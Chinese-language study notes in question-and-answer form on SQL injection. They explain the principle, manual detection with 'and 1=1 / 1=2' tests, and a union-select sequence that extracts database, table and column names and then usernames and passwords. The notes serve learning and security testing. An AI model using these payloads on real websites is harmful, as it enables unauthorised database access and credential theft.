1.sql注入原理是什么?
SQL 注入就是指 web 应用程序对用户输入的数据合法性没有过滤或者是判断,前端传入的参数是攻击者可以控制,并且参数带入数据库的查询,攻击者可以通过构造恶意的 sql 语句来实现对数据库的任意操作。
2.sql漏洞手工探测方法?
- 判断注入点:
a) 手工对sql注入漏洞探测方法
整型的构造方法:
字段=1’ 报错
字段=1 and 1=1 正常 1=1只是判断语句等号前后的内容一致或不一致,比如写2=2,也是可以的
字段=1 and 1=2 异常 1=2也可以写为2=1,知道等号前后不同就行。
以上三个条件需要全部满足。
可以判断一定存在sql注入漏洞,且注入漏洞类型为数组型
b) 字符型的payload构造方法 攻击载荷/exp (恶意语法)
- 字段=1 ’ 报错
- 字段=1’ and 1=1 --+ 正常
- 字段=1’ and 1=2 --+ 异常
以上三个条件需要全部满足。
- 判断数据库表的字段数 order by 1-99 来判断字段数
- 判断输出的位置 union select 1,2,3,4,5,6
- 爆库名:union select 1,database() ,3,4,5,6
- 爆表名:union select 1,(select table_name from information_schema.tables where table_schema='test ’ limit 0,1 ),3,4,5,6 或者
union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=‘test’),3,4,5,6 显示全部表 - 爆字段名:union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='test ’ and table_name='users '),3,4,5,6
- 爆数据:union select 1, (select group_concat(username ,0x3a ,password) from test.users ),3,4,5,6
3.sql注入漏洞类型有哪些?分别构造的payload是怎么样的?
1.字符型: 在url后面构造,例:?id=1’ order by 4 --+
2.数值型:在url后面构造,例:?id=1 order by 4
攻击手法:
基于布尔的盲注
基于时间的盲注
联合查询注入
基于错误信息的注入
4.url的结构是怎么样的?
http://172.16.15.10/grade/query.php?user=3
协议://ip或域名:端口/目录/文件.后缀?参数名=值 :端口号 可以省略
5.网站哪些地方可能存在sql注入漏洞?
跟数据库有交互的地方